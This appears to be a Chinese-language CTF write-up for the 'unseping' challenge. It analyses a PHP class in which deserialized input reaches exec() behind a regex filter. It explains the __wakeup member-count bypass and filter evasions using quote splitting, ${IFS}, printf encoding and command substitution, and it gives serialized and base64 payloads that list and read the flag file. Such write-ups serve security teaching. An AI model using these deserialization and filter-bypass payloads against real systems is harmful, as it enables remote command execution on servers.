前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >PHP反序列化ctf题解

PHP反序列化ctf题解

作者头像
网e渗透安全部
发布2024-12-10 13:37:50
发布2024-12-10 13:37:50
7900
代码可运行
举报
文章被收录于专栏:白安全组白安全组
运行总次数:0
代码可运行

unseping(序列化)

题目:

代码语言:javascript
代码运行次数:0
复制
<?php
  highlight_file(__FILE__);

class ease{

  private $method;
  private $args;
  function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
  }

  function __destruct(){
    if (in_array($this->method, array("ping"))) {
      call_user_func_array(array($this, $this->method), $this->args);
    }
  } 

  function ping($ip){
    exec($ip, $result);
    var_dump($result);
  }

  function waf($str){
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
      return $str;
    } else {
      echo "don't hack";
    }
  }

  function __wakeup(){
    foreach($this->args as $k => $v) {
      $this->args[$k] = $this->waf($v);
    }
  }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

我们对代码进行分析之前,首先需要了解一些序列化的知识。首相序列化本身的目的是将数据经过处理,以json的形式传输。

PHP中的序列化一般使用serialize()函数进行处理,使用unserialize()可以对序列化的字符进行解密,下面是序列化的数据。

上面使用了几种构造方法:

__construct构造方法

当使用new关键字实例化一个对象时,构造函数将会自动调用。如果构造函数有参数的话,那么在实例化的时候也需要传入对应的参数。

绕过:

反序列化的时候,类的构造函数即不会被执行。

__destruct()析构方法

析构函数只有在对象被垃圾收集器收集之前,才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特点的操作,例如关闭文件,释放结果集。

触发条件:

主动调用unset函数将指向对象的变量删除

指向对象的变量被置为空,导致对象无法引用

程序自动结束、垃圾回收机制回收

__wakeup()方法

在 unserialize()调用之前,会检查是否存在一个wakeup方法。如果存在,会先调用他,预先准备对象数据。

wakeup绕过

将需要进行反序列化的对象的序列化字符串中的成员数,大于实际成员数量。

调用wakeup方法,序列化字符串中表示对象属性个数大于真实的属性个数时,就会跳过wakeup执行。

printf绕过

Linux中的printf函数,可以将十六进制或者八进制的字符数字转化ASCII字符内容输出。

Linux中对空格过滤

Linux中的IFS变量,我们通过设置这个变量为空格、tab、回车的其中一个或者几个。我们设置其变量为空格的时候,可以绕过空格的过滤。

$()与` `(反引号)

在命令中,这两个都是用来作为命令替换,例如:

echo today is (date "+%Y-%m-%d"),

执行结果:

today is 2014-07-01

$()会将()返回的结果视为命令进行执行,命令窗口里会有一个

思路

我们需要通过序列化进行命令执行。所以我们要绕过其中的一些正则过滤

其次整个代码的意思,是可以接收post传来的ctf的值,然后对这个进行base64编码以及反序列化,我们可以控制ctf变量。

我们来研究下他的一个过滤规则,wakeup方法中,进行了正则过滤,再看destruct方法,该方法检测ping是否在method中,并且调用了名为method的方法,以数组arg的值为参数。

综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

也就是说我们需要将我们要执行的命令,进行序列化,然后加密为base64之后传入进去

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1 {i:0;s:4:"l''s";}}

发送之后可以看到

文件下有两个文件,一个index,一个flag

我们可以ls一下flag文件,这里面的命令使用双引号单引号绕过

执行上面这段代码进行序列化之后,我们就可以获得flag文件

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

最后我们cat一下这个flag.php文件

获得flag

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • unseping(序列化)
    • __construct构造方法
    • __destruct()析构方法
    • __wakeup()方法
      • wakeup绕过
    • printf绕过
    • Linux中对空格过滤
    • $()与` `(反引号)
    • 思路
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档